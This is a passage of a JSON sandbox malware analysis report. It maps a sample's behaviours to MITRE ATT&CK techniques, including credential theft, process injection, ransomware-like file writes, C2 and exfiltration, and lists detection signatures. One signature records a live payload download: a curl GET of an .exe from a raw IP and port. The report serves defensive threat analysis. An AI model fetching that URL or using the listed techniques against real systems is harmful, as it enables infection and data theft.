Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Able to retrieve the local machine's name"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Queries list of installed browsers"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"suspicious","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"suspicious","value":"Tries to access/write temporary files"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"References URL in command line"},{"type":"informative","value":"Dropped files"},{"type":"malicious","value":"GETs executable from a web server (HTTPS)"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops files with image extension"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"References server/domain address with port number"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"informative","value":"Tries to GET non-existent files from a web server"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found Python requests User Agent string in memory dumps"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"suspicious","value":"GETs files from a web server"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Executes WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"informative","value":"PyInstaller file activity detected"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"suspicious","value":"Spawned processes are likely due to an injection"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"malicious","value":"Disables Windows Task Manager (taskmgr)"},{"type":"suspicious","value":"Attempts to modify system features via registry"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"suspicious","value":"Drops PE files with different extensions"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Credential Access","technique":"Private Keys","attack_id":"T1552.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/004","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Contains reference to Outlook data files path"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"YARA signature match - Zlib compression"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains reference to OpenSSL library string"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"},{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"},{"type":"informative","value":"YARA signature match – Zlib compression file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Non-Standard Encoding","attack_id":"T1132.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/002","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"One-Way Communication","attack_id":"T1102.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/003","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"malicious","value":"Detected multiple DNS responses with a low TTL"},{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"suspicious","value":"Writes multiple files with double extensions (often indicator of ransomware infection)"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"cmd.exe\" queried SystemProcessInformation at 00000000-00003872-00000C15-981218138 [PID: 3872]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00003872-00000C15-981226590 [PID: 3872]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00003872-00000C15-981462257 [PID: 3872]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00003872-00000C15-981472063 [PID: 3872]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00004308-00000C15-981883141 [PID: 4308]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00004308-00000C15-981891413 [PID: 4308]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00004308-00000C15-982155966 [PID: 4308]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00004308-00000C15-982163788 [PID: 4308]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"/ova\" in header \"GET /ova.exe HTTP/1.1Host: 41.216.188.11:8000User-Agent: curl/8.15.0Accept: */*\"\n Contains base64 string in header \"8000User\" in header \"GET /ova.exe HTTP/1.1Host: 41.216.188.11:8000User-Agent: curl/8.15.0Accept: */*\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003872)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00003872)\n \"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004308)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004308)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$25","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: 